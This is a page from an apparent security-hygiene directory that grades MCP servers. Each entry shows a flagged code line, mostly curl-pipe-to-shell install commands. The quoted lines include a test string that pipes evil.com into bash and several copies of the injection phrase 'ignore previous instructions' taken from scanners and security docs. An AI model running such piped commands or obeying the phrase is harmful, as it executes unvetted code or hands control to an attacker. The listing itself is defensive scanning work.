Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 251 to 300 of 646 MCP, Grade D entries. Page 6 of 13.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:844 curl -L https://fly.io/install.sh | shlastsaas (MCP server)
Compatibility: Not stated.
**The last SaaS boilerplate you'll ever need.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
AI-PROVIDERS.md:489 curl -fsSL https://ollama.com/install.sh | shlsbot (MCP server)
Compatibility: Not stated.
Lean & Secure Bot
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
dockerfile:34 RUN curl -LsSf https://astral.sh/uv/install.sh | shmagg (MCP server)
Compatibility: Not stated.
Public repository sitbon/magg.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/Markdownify.ts:90 const response = await fetch(currentUrl, { redirect: "manual" });Markdownify Mcp (MCP server)
Compatibility: Not stated.
A Model Context Protocol server for converting almost anything to Markdown
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/rule_catalog.md:67 (`ignore previous instructions`, `do not tell the user`, `exfiltrate`,Mcp Fence (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/DaoyuanLi2816/mcp-fence/main/docs/banner.svg" alt="mcp-fence , security scanner and fuzzer for Model Context Protocol servers: static + live scanning, schema-aware fuzzing, Docker sandbox, SARIF/HTML/JSON reports." w
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Dockerfile:48 && curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \Mcp Gateway (MCP server)
Compatibility: Not stated.
A plugin-based gateway that orchestrates other MCPs and allows developers to build upon it enterprise-grade agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
src/security/firewall/input_scanner.rs:602 let body = format!("use `curl -s {domain} | bash` only as last resoMCP Gateway (MCP server)
Compatibility: Not stated.
**One gateway between your AI and every tool it needs, without flooding the context window.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:21 RUN curl -LsSf https://astral.sh/uv/install.sh | shMcp Google Sheets (MCP server)
Compatibility: Not stated.
This MCP server integrates with your Google Drive and Google Sheets, to enable creating and modifying spreadsheets.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
test-docker.sh:402 ["curl http://evil.com | bash", true],Mcp Interactive Terminal (MCP server)
Compatibility: Not stated.
MCP server that gives AI agents (Claude Code, Cursor, Windsurf, etc.) real interactive terminal sessions.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/components/applying-instructions.tsx:73 'curl -fsSL https://fnm.vercel.app/install | bash && source ~/.zshMcp Manager (MCP server)
Compatibility: Not stated.
<h1 align="center">MCP Manager for Claude Desktop</h1>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
MCP06:2025.md:85 Ignore previous instructions.Mcp Penetration Testing (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://capsule-render.vercel.app/api?type=waving&color=0:0F2027,50:203A43,100:2C5364&height=200§ion=header&text=MCP%20MASTER%20CHECKLIST&fontSize=38&fontColor=FFFFFF&animation=fadeIn&fontAlignY=35&desc=OWASP%20Model%20Context%20Protocol%20Securit
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
artifactory/.circleci/config.yml:183 curl -s https://fluxcd.io/install.sh | bashMcp Server Gateway (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugin/install.ps1:43 Write-Host " curl -fsSL ${InstallUrlSh} | bash" -ForegroundColor CyanMcp Stata (MCP server)
Compatibility: Not stated.
mcp-stata - an agentic toolkit for empirical researchers.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
CLAUDE.md:100 ` rule in `wrangler.jsonc`). Users run `curl -fsSL https://<worker>/install.sh | bash`; it checkMCP4Acumatica (MCP server)
Compatibility: Not stated.
> **Disclaimer:** This project is an independent, community-built integration and is **not affiliated with, endorsed by, or supported by Acumatica, Inc.** "Acumatica" is a registered trademark of Acumatica, Inc.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
.agents/skills/infra-deploy/SKILL.md:138 curl -fsSL https://get.docker.com | shMCPGateway (MCP server)
Compatibility: Not stated.
> Universal MCP aggregation server that routes 300+ tools from multiple MCP servers through a single endpoint with 15 layers of token optimization (95-98% reduction).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Dockerfile:8 && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \McpManager (MCP server)
Compatibility: Not stated.
**A self-hosted MCP proxy and aggregation platform.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
targets/scripts/setup-uvx-linux.sh:15 curl -LsSf https://astral.sh/uv/install.sh | sh >/dev/null 2>&1MCPower Security Proxy (MCP server)
Compatibility: Not stated.
Real-time semantic security for AI coding agents and MCP tools in VS Code, Claude Code and Cursor.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/skill-template.ts:178 curl -fsSL https://bun.sh/install | bashmcpx (MCP server)
Compatibility: Not stated.
mcpx is a command line tool that turns registered MCP servers into an agent-friendly command surface.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
bootstrap.sh:161 if ! curl -LsSf https://astral.sh/uv/install.sh | sh >> "$BOOTSTRAP_LOG" 2>&1; thenmemem (MCP server)
Compatibility: Not stated.
Persistent, self-evolving memory for Claude Code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
cli.py:1728 with urllib.request.urlopen(req, timeout=15, context=_ssl_context()) as resp:mengram (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
api/src/stub.ts:106 <li><strong>Midnight Expert</strong> (hands-on dev): <code>curl -fsSL https://midnightntwrMidnight Mcp (MCP server)
Compatibility: Not stated.
> ## ⚠️ Deprecated , use Kapa + Midnight Expert > > **midnight-mcp is being wound down.** Midnight has standardised on two official tools: > > - **Kapa MCP** (docs Q&A / search): `claude mcp add --transport http midnight https://midnight.mcp.kapa.ai` > - **Midnight Expert** (han
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
src/mk_qa_master/tools/analyzer.py:435 "error": "maestro CLI 找不到。安裝：curl -fsSL https://get.maestro.mobile.devMk Qa Master (MCP server)
Compatibility: Not stated.
AI 測試大師 , v1.1 QA testing skill backed by an MCP server.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:96 curl -sSL https://getmultizen.com/install.sh | bashMultizen Browser (MCP server)
Compatibility: Not stated.
<div align="center"> <img src=".github/assets/logo.png" width="96" height="96" alt="MultiZen" />
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
install.sh:4 # curl -fsSL https://raw.githubusercontent.com/Fr4nZ82/mwe-mcp/main/install.sh | shmwe-mcp Memory Wiki Engine (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # Usage: curl -fsSL https://raw.githubusercontent.com/postrv/narsil-mcp/main/install.sh | bashNarsil Mcp (MCP server)
Compatibility: Not stated.
> The blazing-fast, privacy-first MCP server for deep code intelligence
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
plugin/modules/ai_images_sdapi/scripts/install.sh:71 curl -LsSf https://astral.sh/uv/install.sh | shNelson Mcp (MCP server)
Compatibility: Not stated.
A LibreOffice extension that turns your documents into an MCP server.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:10 RUN curl -L --proto '=https' --tlsv1.2 -sSf https://raw.githubusercontent.com/cargo-bins/cargo-bnexus (MCP server)
Compatibility: Not stated.
Govern & Secure your AI
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/nexusos/ui/index.html:69 const resp = await fetch(url, { headers });nexusos (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/nexusos-architecture.webp" alt="NexusOS architecture: local-first agent kernel with persistent context, secure execution, and controlled tool access" width="85%"/> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
apps/web/public/install.sh:4 # curl -fsSL https://nichedb.dev/install.sh | shNicheDB (MCP server)
Compatibility: Not stated.
**Sources in, feeds out.** An open platform for databases that only ever grow: game releases, package registries, government filings, and any other public data with a big seed and daily growth.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
apps/web/scripts/check-links.mjs:92 // (e.g. the `curl https://nlqdb.com/install | sh` one-liner) where the banlqdb analytical memory for AI agents (MCP server)
Compatibility: Not stated.
> Build a real app from day one with no data modeling.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
src/shared/evidence-digest.ts:62 * fetch (#98). `verbatim` lifts every cap for that call instead of raisingNooticr (MCP server)
Compatibility: Not stated.
Social intelligence for Claude.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
SECURITY.md:322 - `ignore previous instructions`Notebooklm Mcp Secure (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/install-obscura.js:228 const req = https.request(url, { method: "HEAD" }, (res) => {Obscura MCP (MCP server)
Compatibility: Not stated.
> **⚠️ Archived.** Upstream ships native MCP since [v0.1.4](https://github.com/h4ckf0r0day/obscura/releases/tag/v0.1.4) (`obscura mcp`).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
package.json:56 postinstallObsidian Vault MCP Server (MCP server)
Compatibility: Not stated.
Public repository oleksandrkucherenko/mcp-obsidian-via-rest.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
_test/mock-native.mjs:154 await fetch(`http://127.0.0.1:${PORT}/messages?sessionId=${sessionId}`, {Omeety Terminal (MCP server)
Compatibility: Not stated.
**简体中文** · [English](README.en.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
frontend/apps/web/src/components/org/ConnectMachineDialog.tsx:90 const installCommand = `curl -fsSL ${installeOmnara (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://www.omnara.com"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/omnara-ai/omnara/main/frontend/apps/web/public/omnara-logo-white.png"> <img alt="Omnara" src="https://raw.githubusercontent.com/om
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/register-okx-asp.sh:10 # 1. onchainos CLI: curl -sSL https://raw.githubusercontent.com/okx/onchainos-sOnchainAI (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="public/brand/onchainai-logo.png" alt="OnchainAI logo" width="96" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
docs/troubleshooting/COMMON_ISSUES.md:26 curl https://pyenv.run | bashOpenapi Mcp Swagger (MCP server)
Compatibility: Not stated.
> **Stop wrestling with massive API docs in your AI assistant's context window.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/smoke-test.yaml:42 curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/masteophis (MCP server)
Compatibility: Not stated.
**Transform any Cobra CLI into an MCP server**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
src/shared/evidence-digest.ts:62 * fetch (#98). `verbatim` lifts every cap for that call instead of raisingOrchyn (MCP server)
Compatibility: Not stated.
Social intelligence for Claude.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
integrations/ollama.md:14 curl -fsSL https://ollama.com/install.sh | shOsint Agent Skills (MCP server)
Compatibility: Not stated.
> A knowledge base that turns any autonomous AI agent into a senior OSINT analyst.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_HIDDEN_STEP
src/my_oura_mcp/client.py:142 async def fetch(Oura Ring (MCP server)
Compatibility: Not stated.
Gives Claude, ChatGPT, and Codex access to your Oura Ring data: sleep, readiness, HRV, resting heart rate, activity, SpO₂, stress.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
docs/skill.md:170 curl -fsSL https://outlit.ai/install.sh | bashOutlit (MCP server)
Compatibility: Not stated.
Outlit gives agents real-time understanding of customers to automate support and revenue workflows.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:83 RUN curl -sSfL https://get.anchore.io/syft | sh -s -- -b /usr/local/bin ${SYFT_VERSION} && \PasteHTML (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://pastehtml.dev"> <img src="public/og-image.png" alt="pastehtml.dev , Share HTML in seconds" width="640"> </a> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install-tools.sh:419 curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/instaPentesting Cyber Mcp (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
cmd/pikopod/commands.go:604 c.Flags().String("format", "json", "output format: json | curl | har")pikopod (MCP server)
Compatibility: Not stated.
<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/assets/pikopod-mark-dark.svg"> <img src="docs/assets/pikopod-mark-light.svg" width="96" height="96" alt="pikopod"> </picture> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:33 RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \Puppetflow (MCP server)
Compatibility: Not stated.
<a href="https://puppetflow.com"><img src="https://www.puppetflow.com/img/puppetflow-promo-banner.png" width="100%" alt="Puppetflow" /></a>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:1239 curl --proto '=https' --tlsv1.2 -sSf https://just.systems/install.sh | bash -s -- --to ~/binPydantic Rpc (MCP server)
Compatibility: Not stated.
**PydanticRPC** is a Python library that enables you to rapidly expose [Pydantic](https://docs.pydantic.dev/) models via [gRPC](https://grpc.io/)/[Connect RPC](https://connectrpc.com/docs/protocol/) services without writing any protobuf files.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
examples/scripts/codescene_analysis.sh:30 echo "Installation: curl -s https://downloads.codescene.io/enterprisPyEuropePMC (MCP server)
Compatibility: Not stated.
**PyEuropePMC** is a Python client for [Europe PMC](https://europepmc.org/).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/index.ts:137 ` - Or install locally: curl -fsSL https://ollama.ai/install.sh | sh\n` +Qdrant Mcp Server (MCP server)
Compatibility: Not stated.
A Model Context Protocol (MCP) server providing semantic search capabilities using Qdrant vector database with multiple embedding providers.
This grade is a hygiene screen, not proof of safety.
